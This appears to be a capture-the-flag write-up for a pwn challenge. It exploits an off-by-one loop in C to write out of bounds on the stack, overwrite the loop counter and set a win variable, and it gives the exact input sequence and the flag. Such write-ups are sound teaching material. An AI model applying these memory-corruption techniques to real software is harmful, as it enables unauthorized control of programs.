big-win
- Category: pwn
- Difficulty: easy
“i heard that 99% of gamblers walk away before winning big. i am the 99%.”
Source is given and there is no overflow in it — no gets, no memcpy, every scanf writes into a struct field. The bug is an off-by-one in the loop counter that turns a bounded for-style loop into an unbounded one, and the win condition is reached by making an array index go negative.
Solution:
1. The loop can skip its own exit condition
#define SLOTS 7
struct gambler { int win; int numbers[SLOTS]; };
void challenge(void) {
struct gambler noob;
noob.win = 0x67;
int i = 0, accum = 0;
while (i != SLOTS) {
printf("number> ");
scanf("%d", &noob.numbers[i]);
accum += noob.numbers[i];
if (accum == 67) {
puts("thats a naughty naughty number, one less chance to win");
i++;
}
i++;
}
puts("spinning the lotto of fate, lets see if you win...");
if (noob.win == 0x67) { puts("rip the odds were not in your favour"); return; }
puts("wtf you win???");
win();
}
The exit test is i != SLOTS, not i < SLOTS. Hitting accum == 67 bumps i twice in one iteration, so entering that branch at i == 6 steps straight from 6 to 8 and the loop never compares equal to 7 again. From then on scanf writes to noob.numbers[8], [9], [10], … — out of bounds, walking up the stack frame.
win is at offset 0 of the struct and numbers at offset 4, so noob.win is numbers[-1]. The index only ever increments, so the only way to reach it is to get a negative value into i itself.
2. The remote’s stack printer gives the layout
The challenge ships a SNAPSHOT() on the remote that dumps the frame. Sending one number and reading it back:
=== stack printer ===
rbp-48: 0x0000000000000067 <-- rsp
rbp-40: 0x00007ffce3a5c868
rbp-32: 0x0000000000000001
rbp-24: 0x0000000000000000
rbp-16: 0x0000000000403df0
rbp-08: 0x0000000000000000
rbp+00: 0x00007ffce3a5c740 <-- rbp
0x67 sits at rbp-0x30, so the struct is at rbp-0x30 and numbers[k] is at rbp-0x2c + 4k. Nothing between numbers and rbp is a canary — the low dword of rbp-0x08 is accum and the high dword (rbp-0x04) is i. That is the no-stack-protector layout, which matches the other binaries in this set (all No Canary Found), and it is the whole game: with -fstack-protector gcc hoists the array above the scalars and i would be at a negative index, unreachable.
Converting to indices:
numbers[-1] -> rbp-0x30 noob.win
numbers[0..6] the array
numbers[9] -> rbp-0x08 accum
numbers[10] -> rbp-0x04 i
3. Writing i to steer the index negative
i is writable as numbers[10]. Writing v there makes the loop do accum += numbers[10] (reading back v), then i++ — so the next index is v + 1. Choosing v = -2 puts the following write at numbers[-1], which is noob.win.
The full sequence, keeping accum away from 67 at every step that must not skip:
seq = [
0,0,0,0,0,0, # idx 0..5, accum = 0
67, # idx 6 -> accum == 67 -> bonus i++ -> i jumps 6 -> 8 (OOB)
1, # idx 8 (padding) accum = 68
0, # idx 9 == accum -> accum = 0 + 0 = 0
-2, # idx 10 == i -> i = -2, accum = -2, then i++ -> -1
1337, # idx -1 == win -> win = 1337 != 0x67 ; i++ -> 0
0,0,0,0,0,0,0, # idx 0..6 again, accum stays 1335, loop exits at i == 7
]
Step 9 is the one that needs care: scanf writes 0 into accum, and then the loop does accum += numbers[9], reading the value it just stored — so accum ends at 2*0, not 0 + old. Any value works as long as 2v != 67, which is free since 67 is odd.
After the write to numbers[-1], i becomes 0 and the loop replays slots 0..6 normally, this time exiting cleanly at i == 7 with noob.win == 1337:
$ ./solve.py remote
spinning the lotto of fate, lets see if you win...
wtf you win???
K17{maybe_the_true_reward_is_the_stacks_we_pwned_along_the_way}
Full script: solve.py
Flag: K17{maybe_the_true_reward_is_the_stacks_we_pwned_along_the_way}
Takeaways
while (i != N)with any code path that incrementsimore than once per iteration is an unbounded loop, and unbounded loops over an array index are as good as an arbitrary write.i < Nwould have been harmless.- When the OOB index is monotonically increasing, the interesting target is usually not the data above the array — it is the loop counter itself. Once the counter is in range of the write, the index becomes fully controlled in both directions.